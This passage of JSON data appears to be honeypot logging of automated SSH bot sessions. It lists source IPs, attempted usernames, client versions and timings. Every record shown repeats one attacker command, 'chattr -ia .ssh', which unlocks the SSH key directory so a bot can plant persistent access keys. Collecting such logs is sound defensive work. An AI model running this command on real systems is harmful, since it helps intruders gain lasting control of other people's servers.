.ssh", "started_at": "2026-08-27T12:54:14.420708+00:00", "ended_at": "2026-08-27T12:54:15.991145+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2304 }, { "id": "531cd024-fe1e-45ff-b7d0-72e35385721e", "name": "fierce-freckled-owl", "protocol": "ssh", "channel_kind": "exec", "src_ip": "2.26.148.64", "src_port": 49812, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 349, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T12:54:05.492043+00:00", "ended_at": "2026-08-27T12:54:07.607201+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2304 }, { "id": "dc7fc61d-c17f-4018-ba98-b97ee9b95beb", "name": "sullen-restless-peccary", "protocol": "ssh", "channel_kind": "exec", "src_ip": "187.111.28.131", "src_port": 59912, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 445, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T12:53:15.753493+00:00", "ended_at": "2026-08-27T12:53:16.740548+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2304 }, { "id": "da95395f-4d56-434c-89f1-495aa10cf491", "name": "golden-blithe-ibex", "protocol": "ssh", "channel_kind": "exec", "src_ip": "91.218.67.81", "src_port": 33882, "username": "uno50", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 302, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T12:52:16.604226+00:00", "ended_at": "2026-08-27T12:52:18.682721+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2250 }, { "id": "b474a105-1c8f-4b7a-a107-b6513d19cb4c", "name": "wandering-icy-narwhal", "protocol": "ssh", "channel_kind": "exec", "src_ip": "2.26.148.64", "src_port": 51332, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 330, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T12:51:59.998119+00:00", "ended_at": "2026-08-27T12:52:01.203481+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2304 }, { "id": "8dcaad64-e205-4415-9abc-8f80854c23a5", "name": "subtle-nautical-coyote", "protocol": "ssh", "channel_kind": "exec", "src_ip": "187.111.28.131", "src_port": 59896, "username": "ftp_user", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 457, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T12:50:33.190371+00:00", "ended_at": "2026-08-27T12:50:34.730862+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2269 }, { "id": "4a112586-0f77-4dc3-aabb-2798e3b81c19", "name": "gilded-arctic-walrus", "protocol": "ssh", "channel_kind": "exec", "src_ip": "91.218.67.81", "src_port": 40032, "username": "deployer", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 304, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T12:50:12.209359+00:00", "ended_at": "2026-08-27T12:50:14.002867+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2253 }, { "id": "dd05d352-deb2-4686-8fd3-2bedf4f19476", "name": "frosty-electric-shrike", "protocol": "ssh", "channel_kind": "exec", "src_ip": "2.26.148.64", "src_port": 40492, "username": "dan", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 327, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T12:49:57.375321+00:00", "ended_at": "2026-08-27T12:49:59.504062+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2244 }, { "id": "e9ac9781-b6f7-4d1b-9710-b63a0400c5a2", "name": "scarlet-cunning-grouse", "protocol": "ssh", "channel_kind": "exec", "src_ip": "91.218.67.81", "src_port": 52412, "username": "cps", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 299, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T12:48:15.012512+00:00", "ended_at": "2026-08-27T12:48:17.108387+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2248 }, { "id": "2be61374-7157-471c-8912-bee3a0601c04", "name": "prairie-whispering-owl", "protocol": "ssh", "channel_kind": "exec", "src_ip": "187.111.28.131", "src_port": 59854, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 446, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T12:47:57.972467+00:00", "ended_at": "2026-08-27T12:47:59.174021+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2304 }, { "id": "a91607e8-e524-40e0-9e00-a167432f342e", "name": "sullen-marine-impala", "protocol": "ssh", "channel_kind": "exec", "src_ip": "2.26.148.64", "src_port": 41434, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 347, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T12:47:51.603044+00:00", "ended_at": "2026-08-27T12:47:53.744422+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2304 }, { "id": "bcb3156c-dcdd-4d14-99f9-61451f6e2656", "name": "smoky-lucid-gadwall", "protocol": "ssh", "channel_kind": "exec", "src_ip": "91.218.67.81", "src_port": 44914, "username": "ansible", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 295, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T12:46:06.093448+00:00", "ended_at": "2026-08-27T12:46:08.345573+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2260 }, { "id": "5559e721-6a86-4e90-bdf4-92487a3505ca", "name": "salty-murky-fossa", "protocol": "ssh", "channel_kind": "exec", "src_ip": "2.26.148.64", "src_port": 55536, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 327, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T12:45:53.445340+00:00", "ended_at": "2026-08-27T12:45:55.408876+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2302 }, { "id": "0a9c0917-4568-4ddd-b03b-9be891130aed", "name": "calm-frank-ibex", "protocol": "ssh", "channel_kind": "exec", "src_ip": "202.155.157.112", "src_port": 41086, "username": "cuser", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 1447, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T12:45:40.558808+00:00", "ended_at": "2026-08-27T12:45:41.891143+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2250 }, { "id": "8b312082-94b9-4a3e-a9b9-706b74821f85", "name": "dutiful-murky-petrel", "protocol": "ssh", "channel_kind": "exec", "src_ip": "187.111.28.131", "src_port": 59826, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 442, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T12:45:18.685494+00:00", "ended_at": "2026-08-27T12:45:20.012052+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2304 }, { "id": "d744511d-1abc-472a-bd84-11855955c36a", "name": "fickle-reedy-lemur", "protocol": "ssh", "channel_kind": "exec", "src_ip": "91.218.67.81", "src_port": 43668, "username": "xie", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 300, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T12:44:00.286548+00:00", "ended_at": "2026-08-27T12:44:01.812020+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2248 }, { "id": "2b4decfd-7187-4a21-81f0-e9b3932d8cf6", "name": "prairie-ancient-loris", "protocol": "ssh", "channel_kind": "exec", "src_ip": "2.26.148.64", "src_port": 57150, "username": "lighthouse", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 328, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T12:43:47.799358+00:00", "ended_at": "2026-08-27T12:43:49.271755+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2255 }, { "id": "4d8f88f6-2dfe-4c51-b468-0240496d48b3", "name": "glacial-jolly-loris", "protocol": "ssh", "channel_kind": "exec", "src_ip": "187.111.28.131", "src_port": 59810, "username": "user1", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 449, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T12:42:37.911180+00:00", "ended_at": "2026-08-27T12:42:39.439031+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2254 }, { "id": "620f9d87-abf7-409c-8e49-4ac4e633c6cd", "name": "jaunty-wistful-albatross", "protocol": "ssh", "channel_kind": "exec", "src_ip": "91.218.67.81", "src_port": 47640, "username": "admin1", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 289, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T12:41:57.495597+00:00", "ended_at": "2026-08-27T12:41:59.208027+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2259 }, { "id": "c574abd1-bd65-4620-886b-60c576ef5dea", "name": "indigo-distant-bullfinch", "protocol": "ssh", "channel_kind": "exec", "src_ip": "2.26.148.64", "src_port": 41254, "username": "uno50", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 328, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T12:41:52.190247+00:00", "ended_at": "2026-08-27T12:41:54.311017+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2248 }, { "id": "355e851e-b9d3-416e-b759-5ab909a942b8", "name": "gilded-vernal-flamingo", "protocol": "ssh", "channel_kind": "exec", "src_ip": "187.111.28.131", "src_port": 59782, "username": "vpnuser", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 447, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T12:40:00.259470+00:00", "ended_at": "2026-08-27T12:40:01.293761+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2256 }, { "id": "0df86da6-776d-413b-9b44-d14ed647b27c", "name": "woven-solemn-agouti", "protocol": "ssh", "channel_kind": "exec", "src_ip": "202.155.157.112", "src_port": 46220, "username": "harsh", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 749, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T12:39:58.780008+00:00", "ended_at": "2026-08-27T12:39:59.943418+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2256 }, { "id": "39da07dd-fb38-4fce-a527-19f9da5cd42c", "name": "snowy-lawful-armadillo", "protocol": "ssh", "channel_kind": "exec", "src_ip": "91.218.67.81", "src_port": 46688, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 297, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T12:39:56.552160+00:00", "ended_at": "2026-08-27T12:39:58.483014+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2304 }, { "id": "561a1baf-10b5-495f-9d07-ff7f1129e21d", "name": "seaward-twilight-alpaca", "protocol": "ssh", "channel_kind": "exec", "src_ip": "2.26.148.64", "src_port": 47306, "username": "xie", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 327, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T12:39:55.682275+00:00", "ended_at": "2026-08-27T12:39:56.861549+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2250 }, { "id": "6dbcae5e-128a-47be-b4ba-4b55025af095", "name": "fearless-early-pheasant", "protocol": "ssh", "channel_kind": "exec", "src_ip": "91.218.67.81", "src_port": 54184, "username": "inventory", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 294, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T12:37:52.731139+00:00", "ended_at": "2026-08-27T12:37:54.330812+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2260 }, { "id": "3e59a2b6-5ca3-4b3c-a371-56c48ad903d9", "name": "crisp-honest-quoll", "protocol": "ssh", "channel_kind": "exec", "src_ip": "2.26.148.64", "src_port": 59326, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 328, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T12:37:49.832818+00:00", "ended_at": "2026-08-27T12:37:51.792145+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2302 }, { "id": "cbc3e03a-99ce-43c4-b6d9-9adcf2da4159", "name": "scarlet-hardy-tanager", "protocol": "ssh", "channel_kind": "exec", "src_ip": "187.111.28.131", "src_port": 59760, "username": "sendmail", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 442, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T12:37:20.204796+00:00", "ended_at": "2026-08-27T12:37:21.458484+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2257 }, { "id": "ca3841d0-2be8-40db-974c-3a1cfa7f3b05", "name": "coral-keen-brambling", "protocol": "ssh", "channel_kind": "exec", "src_ip": "91.218.67.81", "src_port": 57430, "username": "user", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 299, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T12:35:51.340494+00:00", "ended_at": "2026-08-27T12:35:53.501899+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2259 }, { "id": "d331a879-855c-450e-b3a6-ec98cec99240", "name": "brazen-upland-grouse", "protocol": "ssh", "channel_kind": "exec", "src_ip": "2.26.148.64", "src_port": 37660, "username": "admin123", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 346, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T12:35:51.172555+00:00", "ended_at": "2026-08-27T12:35:52.995733+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2251 }, { "id": "6bff129b-5dbc-4096-be09-3d86b0074ffd", "name": "mindful-airy-bunting", "protocol": "ssh", "channel_kind": "exec", "src_ip": "51.255.195.46", "src_port": 52984, "username": "deploy", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 261, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T12:35:41.014519+00:00", "ended_at": "2026-08-27T12:35:42.372176+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2243 }, { "id": "7821f2a4-c97d-4d17-94f9-e1d3d89ec220", "name": "sullen-pleasant-skink", "protocol": "ssh", "channel_kind": "exec", "src_ip": "187.111.28.131", "src_port": 59726, "username": "dockeruser", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 442, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T12:34:45.065151+00:00", "ended_at": "2026-08-27T12:34:46.235008+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2261 }, { "id": "6162c3fb-7cf0-44a8-9579-9316ac5429bf", "name": "cosmic-dappled-tapir", "protocol": "ssh", "channel_kind": "exec", "src_ip": "202.155.157.112", "src_port": 49784, "username": "talha", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 727, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T12:34:33.053070+00:00", "ended_at": "2026-08-27T12:34:34.292996+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2248 }, { "id": "a43d6df3-a362-41f0-ac3b-6d50b2b37097", "name": "flinty-foggy-stork", "protocol": "ssh", "channel_kind": "exec", "src_ip": "2.26.148.64", "src_port": 37116, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 328, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T12:33:44.889851+00:00", "ended_at": "2026-08-27T12:33:45.802782+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2304 }, { "id": "f741687a-2f74-4efe-8967-e1f14d778609", "name": "cobalt-velvet-quokka", "protocol": "ssh", "channel_kind": "exec", "src_ip": "91.218.67.81", "src_port": 57180, "username": "lighthouse", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 294, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T12:33:42.482087+00:00", "ended_at": "2026-08-27T12:33:43.465726+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2257 }, { "id": "76f346a1-f615-4192-8f06-bceee895d849", "name": "vigilant-eager-ferret", "protocol": "ssh", "channel_kind": "exec", "src_ip": "51.255.195.46", "src_port": 51388, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 259, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T12:33:36.913486+00:00", "ended_at": "2026-08-27T12:33:39.163783+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2304 }, { "id": "3ec0d238-b76e-40d5-8697-428d08619805", "name": "gentle-golden-wagtail", "protocol": "ssh", "channel_kind": "exec", "src_ip": "187.111.28.131", "src_port": 59690, "username": "user", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 443, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T12:32:06.271202+00:00", "ended_at": "2026-08-27T12:32:07.457659+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2255 }, { "id": "063ba4fa-f4f3-4a10-a2ca-0fedab92e42f", "name": "dappled-rugged-dipper", "protocol": "ssh", "channel_kind": "exec", "src_ip": "202.155.157.112", "src_port": 54790, "username": "server", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 757, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T12:31:46.854372+00:00", "ended_at": "2026-08-27T12:31:48.487515+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2259 }, { "id": "99ccf506-6ffc-4033-8775-6988a850b13b", "name": "whispering-placid-hyrax", "protocol": "ssh", "channel_kind": "exec", "src_ip": "2.26.148.64", "src_port": 51354, "username": "tempuser", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 329, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T12:31:43.140989+00:00", "ended_at": "2026-08-27T12:31:45.015186+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2253 }, { "id": "bda5fd82-149a-466a-b1a2-d839e9b74824", "name": "emerald-tawny-snipe", "protocol": "ssh", "channel_kind": "exec", "src_ip": "51.255.195.46", "src_port": 56260, "username": "esadmin", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 263, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T12:31:33.624503+00:00", "ended_at": "2026-08-27T12:31:34.849961+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2266 }, { "id": "0c76bfb4-836e-4008-83a9-7ac679dbfa15", "name": "crisp-hazel-dormouse", "protocol": "ssh", "channel_kind": "exec", "src_ip": "91.218.67.81", "src_port": 59090, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 299, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T12:31:28.446059+00:00", "ended_at": "2026-08-27T12:31:29.412215+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2304 }, { "id": "1609ea5b-d2dc-4f1e-96b4-c9b871295286", "name": "ruddy-humble-bunting", "protocol": "ssh", "channel_kind": "exec", "src_ip": "2.26.148.64", "src_port": 38402, "username": "test", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 327, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T12:29:42.393155+00:00", "ended_at": "2026-08-27T12:29:44.480765+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2257 }, { "id": "e5ebfb99-0401-4147-b4b9-c5fff6839c7d", "name": "verdant-breezy-goshawk", "protocol": "ssh", "channel_kind": "exec", "src_ip": "51.255.195.46", "src_port": 53220, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 265, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T12:29:36.925712+00:00", "ended_at": "2026-08-27T12:29:37.877115+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2302 }, { "id": "dcfb3d69-cc4c-4120-9d60-c07c2fa180eb", "name": "dappled-balmy-caracal", "protocol": "ssh", "channel_kind": "exec", "src_ip": "187.111.28.131", "src_port": 59660, "username": "ubuntu", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 449, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T12:29:26.042174+00:00", "ended_at": "2026-08-27T12:29:27.519024+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2257 }, { "id": "2f2acf93-459d-4ad4-b3b2-a666f3f3f304", "name": "dappled-wry-jerboa", "protocol": "ssh", "channel_kind": "exec", "src_ip": "91.218.67.81", "src_port": 35920, "username": "test", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 296, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T12:29:15.331459+00:00", "ended_at": "2026-08-27T12:29:17.343007+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2257 }, { "id": "195e9eb7-d36c-4b2a-96d4-beda6f9cbb6c", "name": "ivory-pewter-agouti", "protocol": "ssh", "channel_kind": "exec", "src_ip": "202.155.157.112", "src_port": 42630, "username": "user1", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 1024, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T12:29:02.832543+00:00", "ended_at": "2026-08-27T12:29:04.521724+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2256 }, { "id": "046b6074-3b9c-4437-be5f-664598711280", "name": "foggy-snowy-galago", "protocol": "ssh", "channel_kind": "exec", "src_ip": "2.26.148.64", "src_port": 42818, "username": "kd", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 330, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T12:27:40.954237+00:00", "ended_at": "2026-08-27T12:27:41.855899+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2249 }, { "id": "1047406f-7e04-4b83-9acb-2aca205290c8", "name": "regal-polar-gecko", "protocol": "ssh", "channel_kind": "exec", "src_ip": "51.255.195.46", "src_port": 51166, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 266, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T12:27:37.812022+00:00", "ended_at": "2026-08-27T12:27:39.366564+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2304 }, { "id": "25d66104-34c2-4c5f-ade7-028a24f97cd8", "name": "flinty-wistful-starling", "protocol": "ssh", "channel_kind": "exec", "src_ip": "91.218.67.81", "src_port": 37032, "username": "sklep", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 295, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T12:27:13.056486+00:00", "ended_at": "2026-08-27T12:27:14.294599+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2248 }, { "id": "968341c1-d34d-4470-806b-cb94fa62108f", "name": "languid-ivory-pangolin", "protocol": "ssh", "channel_kind": "exec", "src_ip": "187.111.28.131", "src_port": 59630, "username": "zsolt", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 444, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T12:26:45.087105+00:00", "ended_at": "2026-08-27T12:26:46.215932+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2250 }, { "id": "e00e9b56-c236-4a32-a457-8a88a1fa0e97", "name": "electric-tawny-weasel", "protocol": "ssh", "channel_kind": "exec", "src_ip": "202.155.157.112", "src_port": 33410, "username": "root", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 735, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T12:26:03.861784+00:00", "ended_at": "2026-08-27T12:26:05.485026+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2304 }, { "id": "7fe44b2d-599e-4b97-8931-4318d9559b8d", "name": "foggy-misty-jerboa", "protocol": "ssh", "channel_kind": "exec", "src_ip": "2.26.148.64", "src_port": 49174, "username": "james", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 348, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T12:25:42.378488+00:00", "ended_at": "2026-08-27T12:25:44.615648+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2258 }, { "id": "6164e871-e416-451f-b1d6-b7e6271cd5e2", "name": "jaunty-eager-lark", "protocol": "ssh", "channel_kind": "exec", "src_ip": "51.255.195.46", "src_port": 41570, "username": "alex", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 262, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T12:25:35.353754+00:00", "ended_at": "2026-08-27T12:25:37.508863+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2257 }, { "id": "a7273483-844f-4f55-8407-0aa02975a1e6", "name": "cobalt-mellow-vulture", "protocol": "ssh", "channel_kind": "exec", "src_ip": "91.218.67.81", "src_port": 43194, "username": "danny", "client_version": "SSH-2.0-libssh_0.9.6", "auth_attempts": 1, "automation": "bot", "think_ms": 297, "probe_flagged": 0, "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh", "started_at": "2026-08-27T12:25:10.272603+00:00", "ended_at": "2026-08-27T12:25:12.003698+00:00", "ended_reason": "exec complete", "commands": 18, "transcript_bytes": 2246 }, { "id": "ef05cdd0-65b4-41d6-8783-5d75ac4d7dbb", "name": "genial-nautical-lynx", "protocol": "ssh", "channel_kind": "exec", "src_ip": "187.111.28.131", "src_port": 59602, 